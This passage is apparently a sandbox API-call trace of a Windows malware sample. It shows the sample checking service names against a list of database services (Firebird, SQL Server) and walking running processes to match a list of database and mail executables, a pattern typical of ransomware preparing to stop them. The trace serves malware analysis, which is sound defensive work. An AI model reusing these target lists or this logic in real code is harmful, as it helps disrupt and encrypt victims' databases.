5 [0049.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.744] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.744] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.744] lstrlenW (lpString="iphlpsvc") returned 8 [0049.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.744] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.744] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.744] lstrlenW (lpString="LanmanServer") returned 12 [0049.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.744] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.744] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.745] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.745] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.745] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.745] lstrlenW (lpString="lmhosts") returned 7 [0049.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.745] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.745] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.745] lstrlenW (lpString="MMCSS") returned 5 [0049.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.745] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.745] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.745] lstrlenW (lpString="MpsSvc") returned 6 [0049.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.745] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.745] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.745] lstrlenW (lpString="Netman") returned 6 [0049.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.745] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.745] lstrlenW (lpString="netprofm") returned 8 [0049.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.746] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.746] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.746] lstrlenW (lpString="NlaSvc") returned 6 [0049.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.746] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.746] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.746] lstrlenW (lpString="nsi") returned 3 [0049.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.746] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.746] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.746] lstrlenW (lpString="PcaSvc") returned 6 [0049.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.746] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.746] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.746] lstrlenW (lpString="PlugPlay") returned 8 [0049.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.746] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.746] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.746] lstrlenW (lpString="Power") returned 5 [0049.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.747] lstrlenW (lpString="ProfSvc") returned 7 [0049.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.747] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.747] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.747] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.747] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.747] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.747] lstrlenW (lpString="RpcSs") returned 5 [0049.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.747] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.747] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.747] lstrlenW (lpString="SamSs") returned 5 [0049.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.747] lstrlenW (lpString="Schedule") returned 8 [0049.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.748] lstrlenW (lpString="SENS") returned 4 [0049.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.748] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.748] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.748] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.748] lstrlenW (lpString="Spooler") returned 7 [0049.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.748] lstrlenW (lpString="swprv") returned 5 [0049.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0049.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0049.748] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0049.748] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0049.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0049.748] lstrlenW (lpString="SysMain") returned 7 [0049.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.748] lstrlenW (lpString="Themes") returned 6 [0049.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.749] lstrlenW (lpString="TrkWks") returned 6 [0049.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.749] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.749] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.749] lstrlenW (lpString="UxSms") returned 5 [0049.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.749] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.749] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.749] lstrlenW (lpString="VSS") returned 3 [0049.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.749] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.749] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.749] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.749] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.749] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.749] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.750] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.750] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.750] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.750] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.750] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.750] lstrlenW (lpString="Winmgmt") returned 7 [0049.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.750] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.750] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.750] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.750] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53a0068 | out: hHeap=0x790000) returned 1 [0049.750] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e8 [0049.752] Process32FirstW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.753] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.753] lstrlenW (lpString="System") returned 6 [0049.753] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.753] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.753] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.753] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.753] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.753] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.753] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.753] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.753] lstrlenW (lpString="smss.exe") returned 8 [0049.753] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.753] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.753] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.753] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.753] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.753] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.754] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.754] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.754] lstrlenW (lpString="csrss.exe") returned 9 [0049.754] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.754] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.754] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.754] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.754] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.754] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.754] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.754] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.754] lstrlenW (lpString="wininit.exe") returned 11 [0049.754] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.754] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.754] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.755] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.755] lstrlenW (lpString="csrss.exe") returned 9 [0049.755] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.755] lstrlenW (lpString="winlogon.exe") returned 12 [0049.755] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.755] lstrlenW (lpString="services.exe") returned 12 [0049.755] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.756] lstrlenW (lpString="lsass.exe") returned 9 [0049.756] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.756] lstrlenW (lpString="lsm.exe") returned 7 [0049.756] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.756] lstrlenW (lpString="svchost.exe") returned 11 [0049.756] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.757] lstrlenW (lpString="svchost.exe") returned 11 [0049.757] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.757] lstrlenW (lpString="svchost.exe") returned 11 [0049.757] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.757] lstrlenW (lpString="svchost.exe") returned 11 [0049.757] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.757] lstrlenW (lpString="svchost.exe") returned 11 [0049.757] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.758] lstrlenW (lpString="audiodg.exe") returned 11 [0049.758] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.758] lstrlenW (lpString="svchost.exe") returned 11 [0049.758] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.758] lstrlenW (lpString="svchost.exe") returned 11 [0049.758] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.759] lstrlenW (lpString="dwm.exe") returned 7 [0049.759] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.759] lstrlenW (lpString="explorer.exe") returned 12 [0049.759] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.759] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.759] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.759] lstrlenW (lpString="taskhost.exe") returned 12 [0049.760] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.760] lstrlenW (lpString="svchost.exe") returned 11 [0049.760] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.760] lstrlenW (lpString="taskeng.exe") returned 11 [0049.760] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: 